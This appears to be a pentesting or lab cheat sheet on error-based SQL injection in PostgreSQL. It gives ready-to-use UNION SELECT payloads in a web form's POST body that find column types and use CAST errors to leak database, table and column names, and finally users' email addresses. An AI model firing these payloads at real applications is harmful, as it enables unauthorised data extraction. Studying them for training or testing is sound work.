Postgresql Enumeration
🗂 Find Number of Columns (using Errors)
PostgreSQL requires a special enumeration, since it is more strict than mysql
We’ll use the NULL to bruteforce and find the type of columns, we start with the first column testing both int, char and timestamp and continue until the last column
' UNION SELECT 1,NULL,NULL--
' UNION SELECT 'a',NULL,NULL--
' UNION SELECT Now(),NULL,NULL--
🏛Enumerate the Database (using Errors)
List Databases
When we have no output while trying to display the columns, we’ll use errors for that
weight=5&height=5' UNION SELECT 'a',cast(current_database() as int),3,'d','e',NULL-- &age=5&gender=Male&email=test%40gmail.com
we now for sure that current_database() returns a string, so we’ll cast it to int to get an error showing the string

We can also use this payload (but not that practical)
weight=5&height=5' UNION SELECT 'a',CAST((SELECT datname FROM pg_database LIMIT 1 OFFSET 0) AS integer),3,'d','e',NULL-- &age=5&gender=Male&email=test%40gmail.com

Let’s break this down:
1. 'postgres' comes from:
sql
CopyEdit
SELECT datname FROM pg_database LIMIT 1 OFFSET 0
This is not the current database, it’s the first listed database in the PostgreSQL cluster.
🔍 pg_database is a system table that holds all databases, including:
-
postgres -
template0 -
template1 -
and any user-created ones (like
glovdb)
So this is just pulling from the list of available databases, ordered by internal OID.
2. 'glovdb' comes from:
sql
CopyEdit
SELECT current_database()
This returns the name of the currently connected database — i.e., the database your web app is actually using.
✅ It reflects the real target database behind the application.
🧠 Summary: Key Difference
| Query | What it Returns |
|---|---|
SELECT current_database() | 🔥 Currently connected database — the one the app is using (e.g. glovdb) |
SELECT datname FROM pg_database | 📋 All databases on the server, starting with the one that has the lowest OID (often postgres) |
when using this payload (with ID number 3) we get the glovdb database, which is our current target database
weight=5&height=5' UNION SELECT 'a',CAST((SELECT datname FROM pg_database LIMIT 1 OFFSET 3) AS integer),3,'d','e',NULL-- &age=5&gender=Male&email=test%40gmail.com

List Tables
weight=5&height=5' UNION SELECT 'a',CAST((SELECT table_name FROM information_schema.tables WHERE table_schema='public') AS int),3,'d','e',NULL-- &age=5&gender=Male&email=test%40gmail.com

for other rows:
weight=5&height=5' UNION SELECT 'a',CAST((SELECT table_name FROM information_schema.tables WHERE table_schema='public' LIMIT 1 OFFSET 0) AS int),3,'d','e',NULL-- &age=5&gender=Male&email=test%40gmail.com
➡️ What this does:
-
LIMIT 1 OFFSET 0→ leaks the first table -
LIMIT 1 OFFSET 1→ leaks the second -
LIMIT 1 OFFSET 2→ third -
…and so on
List Columns
weight=5&height=5' UNION SELECT 'a',CAST((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1 OFFSET 0) AS int),3,'d','e',NULL-- &age=5&gender=Male&email=test%40gmail.com

looking at the next column
weight=5&height=5' UNION SELECT 'a',CAST((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1 OFFSET 1) AS int),3,'d','e',NULL-- &age=5&gender=Male&email=test%40gmail.com

📥 Dump Data (Using Errors)
weight=5&height=5' UNION SELECT 'a',CAST((SELECT email FROM users LIMIT 1 OFFSET 0) AS int),3,'d','e',NULL-- &age=5&gender=Male&email=test%40gmail.com
